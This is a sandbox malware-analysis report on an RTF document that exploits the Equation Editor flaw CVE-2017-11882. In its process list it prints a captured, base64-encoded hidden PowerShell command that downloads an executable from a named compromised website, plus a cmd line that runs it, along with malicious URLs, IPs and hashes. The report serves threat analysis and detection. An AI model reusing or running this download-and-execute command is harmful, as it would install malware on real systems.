File name:

398711b96a918f549bd658e78ddbceba.rtf

Full analysis: https://app.any.run/tasks/5bc0a6cd-3796-4469-ae76-97dff0ce3c09
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: May 21, 2019, 01:45:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
cve-2017-11882
trojan
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

398711B96A918F549BD658E78DDBCEBA

SHA1:

455EFF9DA940EE75EA26D9B90364588EFA1C73E6

SHA256:

1508EBDCF09C8B26EB62387640F1ED901FCCDB0ADFAE853EFC4F0AE5A9F2BF98

SSDEEP:

48:acSSebGDvTzDXi5xokbzjEsTl/en2HwDEEEEEEEEEEk:acSSCGDvrSxJFxu2sEEEEEEEEEEk

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3504)

  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 3504)

    • Creates files in the user directory

      • EQNEDT32.EXE (PID: 3504)
      • powershell.exe (PID: 3032)

    • Executes PowerShell scripts

      • EQNEDT32.EXE (PID: 3504)

    • Reads internet explorer settings

      • EQNEDT32.EXE (PID: 3504)

    • Executed via WMI

      • cmd.exe (PID: 1004)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 712)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 712)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
4
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe powershell.exe cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
712"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\398711b96a918f549bd658e78ddbceba.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
1004cmd /c %temp%\nvbackend.exeC:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3032"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAG0AYQB0AHQAYwBhAHMALgBjAG8AbQAuAGgAawAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AZgByAGUAZQBkAG8AbQAvAF8AcwBlAGMAXwAvAHMAZQBuAGcAZQBlAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AHQAZQBtAHAAXABuAHYAYgBhAGMAawBlAG4AZAAuAGUAeABlACIAKQApADsAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3504"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
Total events
1 404
Read events
981
Write events
418
Delete events
5

Modification events

(PID) Process:(712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:{#:
Value:
7B233A00C8020000010000000000000000000000
(PID) Process:(712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(712) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1320484894
(PID) Process:(712) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1320485008
(PID) Process:(712) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1320485009
(PID) Process:(712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
C8020000126E24EA760FD50100000000
(PID) Process:(712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:t$:
Value:
74243A00C802000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:t$:
Value:
74243A00C802000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
0
Suspicious files
2
Text files
2
Unknown types
2

Dropped files

PID
Process
Filename
Type
712WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR3FCB.tmp.cvr —
MD5:—
SHA256:—
3032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RLRTKAQ6K7WJQU3SLYFT.temp —
MD5:—
SHA256:—
712WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
3032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
3504EQNEDT32.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\UNSMa3BW[1].txthtml
MD5:—
SHA256:—
3032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF134b54.TMPbinary
MD5:—
SHA256:—
3504EQNEDT32.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:—
SHA256:—
712WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$8711b96a918f549bd658e78ddbceba.rtfpgc
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
2
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3032
powershell.exe
GET
404
58.82.193.216:80
http://mattcas.com.hk/wp-content/plugins/freedom/_sec_/sengee.exe
HK
html
17.1 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3032
powershell.exe
58.82.193.216:80
mattcas.com.hk
CommuniLink Internet Limited.
HK
malicious
3504
EQNEDT32.EXE
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
malicious
mattcas.com.hk
  • 58.82.193.216
malicious

Threats

PID
Process
Class
Message
3032
powershell.exe
A Network Trojan was detected
ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
398711b96a918f549bd658e78ddbceba.rtf